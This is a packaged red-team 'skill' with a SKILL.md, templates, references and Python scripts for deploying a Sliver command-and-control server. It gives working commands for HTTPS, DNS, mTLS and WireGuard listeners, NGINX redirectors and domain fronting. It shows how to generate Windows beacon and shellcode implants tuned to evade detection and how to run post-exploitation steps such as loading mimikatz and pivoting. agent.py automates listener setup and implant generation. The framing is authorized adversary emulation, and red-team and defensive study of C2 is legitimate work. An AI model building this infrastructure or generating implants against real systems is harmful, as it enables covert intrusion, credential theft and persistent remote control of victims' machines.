# building-c2-infrastructure-with-sliver-framework

Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.

- **Kind:** skill
- **Source:** https://github.com/mukul975/Anthropic-Cybersecurity-Skills
- **Page:** https://forefy.com/skills/215201eb-0154-498f-9186-3cd7ccddbbf1
- **API (JSON + files):** https://forefy.com/api/asr/215201eb-0154-498f-9186-3cd7ccddbbf1

---

## LICENSE

```

```

## SKILL.md

---
name: building-c2-infrastructure-with-sliver-framework
description: Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- c2-framework
- sliver
- command-and-control
- adversary-simulation
- infrastructure
- post-exploitation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Application Protocol Command Analysis
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1071.001
- T1071.004
- T1573.002
- T1090.002
- T1105
- T1572
---
# Building C2 Infrastructure with Sliver Framework

## Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.


## When to Use

- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation

## Prerequisites

- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Objectives

- Deploy a Sliver team server on hardened cloud infrastructure
- Configure HTTPS, mTLS, DNS, and WireGuard listeners
- Generate implants (beacons and sessions) for target platforms
- Set up NGINX or Apache redirectors between implants and the team server
- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
- Configure multi-operator access with certificate-based authentication
- Establish operational security controls for C2 communications

## MITRE ATT&CK Mapping

- **T1071.001** - Application Layer Protocol: Web Protocols
- **T1071.004** - Application Layer Protocol: DNS
- **T1573.002** - Encrypted Channel: Asymmetric Cryptography
- **T1090.002** - Proxy: External Proxy (Redirectors)
- **T1105** - Ingress Tool Transfer
- **T1132.001** - Data Encoding: Standard Encoding
- **T1572** - Protocol Tunneling

## Workflow

### Phase 1: Team Server Deployment
1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
3. Install Sliver using the official install script:
   ```bash
   curl https://sliver.sh/install | sudo bash
   ```
4. Start the Sliver server daemon:
   ```bash
   systemctl start sliver
   # Or run interactively
   sliver-server
   ```
5. Generate operator configuration files for team members:
   ```bash
   new-operator --name operator1 --lhost <team-server-ip>
   ```

### Phase 2: Listener Configuration
1. Configure an HTTPS listener with a legitimate SSL certificate:
   ```bash
   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
   ```
2. Configure a DNS listener for fallback C2:
   ```bash
   dns --domains c2dns.example.com --lport 53
   ```
3. Configure mTLS listener for high-security sessions:
   ```bash
   mtls --lhost 0.0.0.0 --lport 8888
   ```
4. Configure WireGuard listener for tunneled access:
   ```bash
   wg --lport 51820
   ```

### Phase 3: Redirector Setup
1. Deploy a separate VPS as a redirector (positioned between targets and team server)
2. Install and configure NGINX as a reverse proxy:
   ```nginx
   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   ```
3. Configure iptables rules on the team server to only accept connections from the redirector:
   ```bash
   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   ```
4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

### Phase 4: Implant Generation
1. Generate an HTTPS beacon implant:
   ```bash
   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   ```
2. Generate a DNS beacon for restricted networks:
   ```bash
   generate beacon --dns c2dns.example.com --os windows --arch amd64
   ```
3. Generate a shellcode payload for injection:
   ```bash
   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
   ```
4. Configure beacon jitter and callback intervals:
   ```bash
   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
   ```

### Phase 5: Post-Exploitation Operations
1. Interact with active beacons/sessions:
   ```bash
   beacons        # List active beacons
   use <beacon-id> # Interact with a beacon
   ```
2. Execute post-exploitation modules:
   ```bash
   ps              # Process listing
   netstat         # Network connections
   execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
   sideload /path/to/mimikatz.dll  # Load DLLs
   ```
3. Set up pivots for internal network access:
   ```bash
   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
   ```
4. Use BOF (Beacon Object Files) for in-memory execution:
   ```bash
   armory install sa-ldapsearch  # Install from armory
   sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
   ```

## Tools and Resources

| Tool | Purpose | Platform |
|------|---------|----------|
| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
| Sliver Client | Operator console for team members | Cross-platform |
| NGINX | Redirector and reverse proxy | Linux |
| Certbot | Let's Encrypt SSL certificate generation | Linux |
| Cloudflare | CDN and domain fronting | Cloud |
| Armory | Sliver extension/BOF package manager | Built-in |

## Detection Signatures

| Indicator | Detection Method |
|-----------|-----------------|
| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |

## Validation Criteria

- [ ] Team server deployed and hardened with firewall rules
- [ ] HTTPS listener configured with valid SSL certificate
- [ ] DNS listener configured as fallback C2 channel
- [ ] At least one redirector deployed between targets and team server
- [ ] Multi-operator access configured with unique certificates
- [ ] Implants generated for target operating systems
- [ ] Beacon callback intervals and jitter configured for stealth
- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)
- [ ] Pivot functionality validated for internal network access
- [ ] All C2 traffic encrypted and passing through redirectors

## assets

```

```

## assets/template.md

# Sliver C2 Infrastructure Configuration Template

## Engagement Information

| Field | Value |
|-------|-------|
| Engagement Name | |
| Client | |
| Start Date | |
| End Date | |
| Authorization Document | |

## Team Server Configuration

| Parameter | Value |
|-----------|-------|
| Server IP | |
| Server OS | Ubuntu 22.04 LTS |
| Sliver Version | |
| Firewall Rules Applied | Yes / No |
| SSH Key-Only Auth | Yes / No |

## Listener Configuration

| Listener Type | Port | Domain/Host | Certificate | Status |
|--------------|------|-------------|-------------|--------|
| HTTPS | 443 | | Let's Encrypt / Custom | |
| mTLS | 8888 | | Auto-generated | |
| DNS | 53 | | N/A | |
| WireGuard | 51820 | | Auto-generated | |

## Redirector Configuration

| Redirector ID | IP Address | Cloud Provider | Proxy Software | Team Server Dest |
|--------------|------------|----------------|----------------|------------------|
| REDIR-01 | | | NGINX | |
| REDIR-02 | | | Apache | |

## Operator Access

| Operator Name | Config File | Role | Access Granted |
|--------------|-------------|------|----------------|
| | | Lead | |
| | | Operator | |

## Domain Configuration

| Domain | Registrar | Category | Purpose |
|--------|-----------|----------|---------|
| | | Uncategorized | HTTPS C2 |
| | | Uncategorized | DNS C2 |

## Implant Inventory

| Implant Name | Type | OS | Arch | Protocol | Callback Interval | Jitter |
|-------------|------|-----|------|----------|-------------------|--------|
| | Beacon | Windows | amd64 | HTTPS | 60s | 30% |
| | Session | Linux | amd64 | mTLS | N/A | N/A |

## OPSEC Checklist

- [ ] Team server IP not directly exposed to target network
- [ ] All C2 traffic routed through redirectors
- [ ] SSL certificates use categorized/aged domains
- [ ] DNS C2 domain registered with privacy protection
- [ ] Beacon intervals randomized with jitter
- [ ] Implant names do not reveal engagement details
- [ ] Operator configs distributed via secure channel
- [ ] Kill date configured on all implants

## references

```

```

## references/api-reference.md

# API Reference: Sliver C2 Framework

## Sliver CLI Commands
| Command | Description |
|---------|-------------|
| `generate --mtls host:port` | Generate session implant |
| `generate beacon --mtls host:port` | Generate beacon implant |
| `mtls --lhost IP --lport PORT` | Start mTLS listener |
| `https --lhost IP --lport PORT` | Start HTTPS listener |
| `dns --domains domain.com` | Start DNS listener |
| `sessions` | List active sessions |
| `beacons` | List active beacons |
| `use SESSION_ID` | Interact with session |

## Generate Options
| Flag | Description |
|------|-------------|
| `--name` | Implant name |
| `--os` | Target OS (windows/linux/darwin) |
| `--arch` | Architecture (amd64/386/arm64) |
| `--format` | exe/shellcode/shared-lib |
| `--seconds` | Beacon callback interval |
| `--jitter` | Beacon jitter percentage |
| `--mtls` | mTLS C2 endpoint |
| `--https` | HTTPS C2 endpoint |
| `--dns` | DNS C2 domain |

## Listener Types
| Type | Port | Use Case |
|------|------|----------|
| mTLS | 8888 | Encrypted, reliable |
| HTTPS | 443 | Blends with web traffic |
| DNS | 53 | Bypasses network filters |
| WireGuard | 51820 | VPN-based C2 |

## Post-Exploitation
```
execute-assembly     # .NET assembly in memory
sideload             # DLL sideloading
shell                # Interactive shell
upload/download      # File transfer
portfwd              # Port forwarding
socks5               # SOCKS5 proxy
```

## Sliver gRPC API (Protobuf)
```python
import grpc
from sliverpb import client_pb2_grpc
channel = grpc.secure_channel("localhost:31337", credentials)
stub = client_pb2_grpc.SliverRPCStub(channel)
```

## references/standards.md

# Standards and References - Sliver C2 Infrastructure

## MITRE ATT&CK References

| Technique ID | Name | Tactic |
|-------------|------|--------|
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |
| T1071.004 | Application Layer Protocol: DNS | Command and Control |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |
| T1090.002 | Proxy: External Proxy | Command and Control |
| T1105 | Ingress Tool Transfer | Command and Control |
| T1132.001 | Data Encoding: Standard Encoding | Command and Control |
| T1572 | Protocol Tunneling | Command and Control |

## Industry Standards

- **PTES (Penetration Testing Execution Standard)** - Post-Exploitation and C2 sections
- **OWASP Testing Guide** - Infrastructure testing methodology
- **NIST SP 800-115** - Technical Guide to Information Security Testing and Assessment
- **TIBER-EU** - Threat Intelligence-Based Ethical Red Teaming framework

## Official Documentation

- Sliver GitHub: https://github.com/BishopFox/sliver
- Sliver Wiki: https://github.com/BishopFox/sliver/wiki
- Sliver Armory: https://github.com/sliverarmory

## Key Research

- BishopFox Red Team Tools and C2 Frameworks Report (2025)
- SpecterOps Adversary Simulation methodology
- SANS SEC565: Red Team Operations and Adversary Emulation

## references/workflows.md

# Workflows - Sliver C2 Infrastructure

## Infrastructure Deployment Workflow

```
1. Planning Phase
   ├── Define engagement scope and authorized targets
   ├── Select cloud providers for team server and redirectors
   ├── Register domains for C2 channels (categorized domains preferred)
   └── Obtain SSL certificates (Let's Encrypt or purchased)

2. Team Server Setup
   ├── Deploy VPS with hardened OS configuration
   ├── Install Sliver server daemon
   ├── Configure firewall rules (restrict to redirector IPs only)
   └── Generate operator configs for team members

3. Redirector Layer
   ├── Deploy 2+ redirector VPS instances in different regions
   ├── Configure NGINX reverse proxy on each redirector
   ├── Implement Apache mod_rewrite rules for traffic filtering
   └── Optionally add Cloudflare CDN layer

4. Listener Configuration
   ├── HTTPS listener (primary) with valid SSL cert
   ├── DNS listener (fallback) for restricted networks
   ├── mTLS listener (high-security sessions)
   └── WireGuard listener (tunneled access)

5. Implant Generation
   ├── Generate OS-specific beacons (Windows, Linux, macOS)
   ├── Configure callback intervals and jitter
   ├── Test implant connectivity through redirector chain
   └── Validate implant evasion against target AV/EDR

6. Operational Use
   ├── Deploy implant to target via initial access vector
   ├── Establish C2 session through redirector infrastructure
   ├── Execute post-exploitation tasks
   └── Maintain operational security throughout engagement
```

## Failover and Resilience Workflow

```
Primary C2 Path:
  Target → Redirector A → Team Server (HTTPS/443)

Failover Path 1:
  Target → Redirector B → Team Server (HTTPS/8443)

Failover Path 2:
  Target → DNS Resolver → Team Server (DNS/53)

Emergency Path:
  Target → WireGuard Tunnel → Team Server (UDP/51820)
```

## Multi-Operator Workflow

```
1. Team Lead generates operator configs:
   sliver-server > new-operator --name <operator> --lhost <server-ip>

2. Distribute .cfg files securely to each operator

3. Operators connect using Sliver client:
   sliver-client import <operator-config.cfg>

4. All operators share access to beacons and sessions
5. Use naming conventions for implants per operator
```

## scripts

```

```

## scripts/agent.py

```python
#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""Sliver C2 Framework Deployment Agent - Automates Sliver C2 setup for authorized red team engagements."""

import json
import subprocess
import logging
import argparse
from datetime import datetime

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def run_sliver_cmd(cmd, sliver_path="sliver-client"):
    """Execute a Sliver client command."""
    try:
        result = subprocess.run([sliver_path] + cmd, capture_output=True, text=True, timeout=60)
        return {"stdout": result.stdout, "stderr": result.stderr, "returncode": result.returncode}
    except (FileNotFoundError, subprocess.TimeoutExpired) as e:
        return {"error": str(e)}


def generate_implant(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, format_type="exe", sliver_path="sliver-client"):
    """Generate a Sliver implant (beacon or session)."""
    cmd = ["generate", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}"]
    if format_type == "shellcode":
        cmd.append("--format=shellcode")
    elif format_type == "shared":
        cmd.append("--format=shared-lib")
    result = run_sliver_cmd(cmd, sliver_path)
    logger.info("Generated implant: %s (%s/%s)", name, os_target, arch)
    return {"implant_name": name, "os": os_target, "arch": arch, "c2": f"{c2_host}:{c2_port}", "result": result}


def generate_beacon(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, interval="60s", jitter="30", sliver_path="sliver-client"):
    """Generate a Sliver beacon implant."""
    cmd = ["generate", "beacon", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}", "--seconds", interval, "--jitter", jitter]
    result = run_sliver_cmd(cmd, sliver_path)
    return {"beacon_name": name, "interval": interval, "jitter": jitter, "result": result}


def setup_listeners(c2_host, mtls_port=8888, https_port=443, dns_domain=None, sliver_path="sliver-client"):
    """Configure C2 listeners."""
    listeners = []
    mtls_result = run_sliver_cmd(["mtls", "--lhost", c2_host, "--lport", str(mtls_port)], sliver_path)
    listeners.append({"type": "mTLS", "host": c2_host, "port": mtls_port, "result": mtls_result})
    https_result = run_sliver_cmd(["https", "--lhost", c2_host, "--lport", str(https_port)], sliver_path)
    listeners.append({"type": "HTTPS", "host": c2_host, "port": https_port, "result": https_result})
    if dns_domain:
        dns_result = run_sliver_cmd(["dns", "--domains", dns_domain], sliver_path)
        listeners.append({"type": "DNS", "domain": dns_domain, "result": dns_result})
    return listeners


def list_sessions(sliver_path="sliver-client"):
    """List active sessions."""
    return run_sliver_cmd(["sessions"], sliver_path)


def list_beacons(sliver_path="sliver-client"):
    """List active beacons."""
    return run_sliver_cmd(["beacons"], sliver_path)


def generate_report(listeners, implants, sessions_output, beacons_output):
    """Generate C2 infrastructure report."""
    report = {
        "timestamp": datetime.utcnow().isoformat(),
        "disclaimer": "For authorized penetration testing only",
        "listeners": listeners,
        "implants_generated": implants,
        "active_sessions": sessions_output,
        "active_beacons": beacons_output,
    }
    print(f"SLIVER REPORT: {len(listeners)} listeners, {len(implants)} implants")
    return report


def main():
    parser = argparse.ArgumentParser(description="Sliver C2 Framework Deployment Agent (Authorized Testing Only)")
    parser.add_argument("--c2-host", required=True, help="C2 server IP/hostname")
    parser.add_argument("--implant-name", default="test_implant")
    parser.add_argument("--os", default="windows", choices=["windows", "linux", "darwin"])
    parser.add_argument("--arch", default="amd64", choices=["amd64", "386", "arm64"])
    parser.add_argument("--sliver-path", default="sliver-client")
    parser.add_argument("--output", default="sliver_report.json")
    args = parser.parse_args()

    listeners = setup_listeners(args.c2_host, sliver_path=args.sliver_path)
    implant = generate_implant(args.implant_name, args.os, args.arch, args.c2_host, sliver_path=args.sliver_path)
    sessions = list_sessions(args.sliver_path)
    beacons = list_beacons(args.sliver_path)

    report = generate_report(listeners, [implant], sessions, beacons)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)


if __name__ == "__main__":
    main()
```

## scripts/process.py

```python
#!/usr/bin/env python3
"""
Sliver C2 Infrastructure Health Check and Management Script

This script provides automated health monitoring for Sliver C2 infrastructure
components including team server, redirectors, and listener status.
Intended for authorized red team engagements only.
"""

import subprocess
import json
import socket
import ssl
import sys
import os
from datetime import datetime
from pathlib import Path


def check_port_open(host: str, port: int, timeout: float = 5.0) -> bool:
    """Check if a specific port is open on a host."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((host, port))
        sock.close()
        return result == 0
    except (socket.error, OSError):
        return False


def check_ssl_certificate(host: str, port: int = 443) -> dict:
    """Check SSL certificate validity on a listener."""
    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        with socket.create_connection((host, port), timeout=5) as sock:
            with context.wrap_socket(sock, server_hostname=host) as ssock:
                cert = ssock.getpeercert(binary_form=False)
                return {
                    "status": "valid",
                    "subject": str(cert.get("subject", "N/A")) if cert else "No cert data",
                    "issuer": str(cert.get("issuer", "N/A")) if cert else "No cert data",
                    "expiry": str(cert.get("notAfter", "N/A")) if cert else "No cert data"
                }
    except ssl.SSLError as e:
        return {"status": "ssl_error", "error": str(e)}
    except (socket.error, OSError) as e:
        return {"status": "connection_error", "error": str(e)}


def check_dns_listener(domain: str, nameserver: str = "8.8.8.8") -> dict:
    """Check if DNS C2 domain resolves correctly."""
    try:
        result = subprocess.run(
            ["nslookup", domain, nameserver],
            capture_output=True, text=True, timeout=10
        )
        return {
            "status": "active" if result.returncode == 0 else "inactive",
            "output": result.stdout.strip()[:500]
        }
    except (subprocess.TimeoutExpired, FileNotFoundError) as e:
        return {"status": "error", "error": str(e)}


def check_redirector_health(redirector_ip: str, port: int = 443) -> dict:
    """Verify redirector is forwarding traffic correctly."""
    result = {
        "ip": redirector_ip,
        "port": port,
        "port_open": check_port_open(redirector_ip, port),
        "ssl": check_ssl_certificate(redirector_ip, port) if port == 443 else "N/A"
    }
    return result


def generate_infrastructure_report(config: dict) -> str:
    """Generate a health report for the C2 infrastructure."""
    report_lines = [
        "=" * 60,
        f"Sliver C2 Infrastructure Health Report",
        f"Generated: {datetime.now().isoformat()}",
        "=" * 60,
        ""
    ]

    team_server = config.get("team_server", {})
    ts_host = team_server.get("host", "127.0.0.1")
    ts_ports = team_server.get("ports", [443, 8888, 53, 51820])

    report_lines.append("[Team Server]")
    report_lines.append(f"  Host: {ts_host}")
    for port in ts_ports:
        status = "OPEN" if check_port_open(ts_host, port) else "CLOSED"
        report_lines.append(f"  Port {port}: {status}")
    report_lines.append("")

    redirectors = config.get("redirectors", [])
    report_lines.append("[Redirectors]")
    for redir in redirectors:
        redir_ip = redir.get("ip", "")
        redir_port = redir.get("port", 443)
        health = check_redirector_health(redir_ip, redir_port)
        status = "HEALTHY" if health["port_open"] else "DOWN"
        report_lines.append(f"  {redir_ip}:{redir_port} - {status}")
    report_lines.append("")

    dns_domains = config.get("dns_domains", [])
    report_lines.append("[DNS Listeners]")
    for domain in dns_domains:
        dns_check = check_dns_listener(domain)
        report_lines.append(f"  {domain}: {dns_check['status']}")
    report_lines.append("")

    report_lines.append("[SSL Certificates]")
    https_hosts = config.get("https_hosts", [])
    for host in https_hosts:
        cert_info = check_ssl_certificate(host)
        report_lines.append(f"  {host}: {cert_info['status']}")
        if cert_info["status"] == "valid":
            report_lines.append(f"    Expiry: {cert_info.get('expiry', 'N/A')}")
    report_lines.append("")

    report_lines.append("=" * 60)
    return "\n".join(report_lines)


def parse_sliver_config(config_path: str) -> dict:
    """Parse a Sliver infrastructure configuration file."""
    try:
        with open(config_path, "r") as f:
            return json.load(f)
    except (FileNotFoundError, json.JSONDecodeError) as e:
        print(f"Error loading config: {e}")
        return {}


def main():
    """Main entry point for infrastructure health check."""
    config_path = sys.argv[1] if len(sys.argv) > 1 else "c2_infrastructure.json"

    if not os.path.exists(config_path):
        print(f"Config file not found: {config_path}")
        print("Creating example configuration...")
        example_config = {
            "team_server": {
                "host": "10.0.0.1",
                "ports": [443, 8888, 53, 51820]
            },
            "redirectors": [
                {"ip": "203.0.113.10", "port": 443},
                {"ip": "203.0.113.20", "port": 443}
            ],
            "dns_domains": ["c2dns.example.com"],
            "https_hosts": ["c2.example.com"]
        }
        with open(config_path, "w") as f:
            json.dump(example_config, f, indent=2)
        print(f"Example config written to {config_path}")
        print("Edit the configuration and re-run the script.")
        return

    config = parse_sliver_config(config_path)
    if not config:
        print("Failed to parse configuration. Exiting.")
        return

    report = generate_infrastructure_report(config)
    print(report)

    report_file = f"c2_health_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
    with open(report_file, "w") as f:
        f.write(report)
    print(f"Report saved to: {report_file}")


if __name__ == "__main__":
    main()
```

